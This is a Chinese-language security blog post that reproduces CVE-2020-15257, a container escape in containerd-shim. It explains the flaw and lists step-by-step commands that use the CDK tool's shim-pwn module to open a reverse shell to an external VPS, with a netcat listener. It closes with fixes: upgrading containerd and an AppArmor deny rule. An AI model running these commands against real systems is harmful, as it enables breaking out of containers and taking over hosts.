CVE-2020-15257 Docker逃逸漏洞复现

  • A+
所属分类:安全文章


网安引领时代,弥天点亮未来   





 

CVE-2020-15257 Docker逃逸漏洞复现

0x00漏洞简述

2020年12月01日,Containerd 官方发布安全更新,修复了 Docker 容器逃逸漏洞(CVE-2020-15257)。Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shimAPI,从而实现Docker容器逃逸。Containerd是行业标准的容器运行时,可作为Linux和Windows的守护程序使用。在版本1.3.9和1.4.3之前的容器中,容器填充的API不正确地暴露给主机网络容器。填充程序的API套接字的访问控制验证了连接过程的有效UID为0,但没有以其他方式限制对抽象Unix域套接字的访问。这将允许在与填充程序相同的网络名称空间中运行的恶意容器(有效UID为0,但特权降低)导致新进程以提升的特权运行。

CVE-2020-15257 Docker逃逸漏洞复现

0x01影响版本


containerd <1.4.3

containerd <1.3.9


CVE-2020-15257 Docker逃逸漏洞复现

0x02漏洞复现


虚拟机部署有漏洞的Containerd版本环境,这里我使用的版本是:1.3.3

docker version

CVE-2020-15257 Docker逃逸漏洞复现

1、以 --net=host 方式启动容器

docker run -itd --net=host ubuntu:18.04

简要来说,containerd->containerd-shim->runc的通信模型中,containerd-shim的接口作为abstractunix socket暴露,在docker使用net=host参数启动、与宿主机共享net namespace时,其中的unix socket可以被容器内部访问到,容器中攻击者通过该socket可以通过API控制下游runc进程启动新的恶意镜像,并通过该镜像逃逸。

CVE-2020-15257 Docker逃逸漏洞复现

2、在容器内执行

cat /proc/net/unix|grep -a "containerd-shim"

CVE-2020-15257 Docker逃逸漏洞复现

然后可看到抽象命名空间Unix域套接字。

3、看系统内核版本

uname -a

CVE-2020-15257 Docker逃逸漏洞复现

4、下载POC,根据需求上传

https://github.com/Xyntax/CDK/releases/tag/0.1.6


CVE-2020-15257 Docker逃逸漏洞复现

5、这里为了方便复现漏洞,直接把POC复制到docker中

1.首先查看当前docker镜像

docker ps

CVE-2020-15257 Docker逃逸漏洞复现

2.将POC复制到docker容器

docker cp cdk_linux_386 1cd60293a80c:/tmp

6、执行POC反弹shell,完成逃逸。

./cdk_linux_386 run shim-pwn 6.6.6.6 12999   (VPS)

CVE-2020-15257 Docker逃逸漏洞复现

nc -lvp 12999

CVE-2020-15257 Docker逃逸漏洞复现


CVE-2020-15257 Docker逃逸漏洞复现

0x03修复建议


1、升级 containerd 至最新版本。

2、通过添加如

deny unix [email protected]**的AppArmor

策略禁止访问抽象套接字。


CVE-2020-15257 Docker逃逸漏洞复现

0x04参考链接


https://mp.weixin.qq.com/s/rcfXIBSpNtgCFua0yUK_ew

https://xz.aliyun.com/t/8681#toc-2





CVE-2020-15257 Docker逃逸漏洞复现 

知识分享完了

喜欢别忘了关注我们哦~



学海浩茫,

予以风动,
必降弥天之润!


   弥  天

安全实验室

CVE-2020-15257 Docker逃逸漏洞复现





本文始发于微信公众号(弥天安全实验室):CVE-2020-15257 Docker逃逸漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: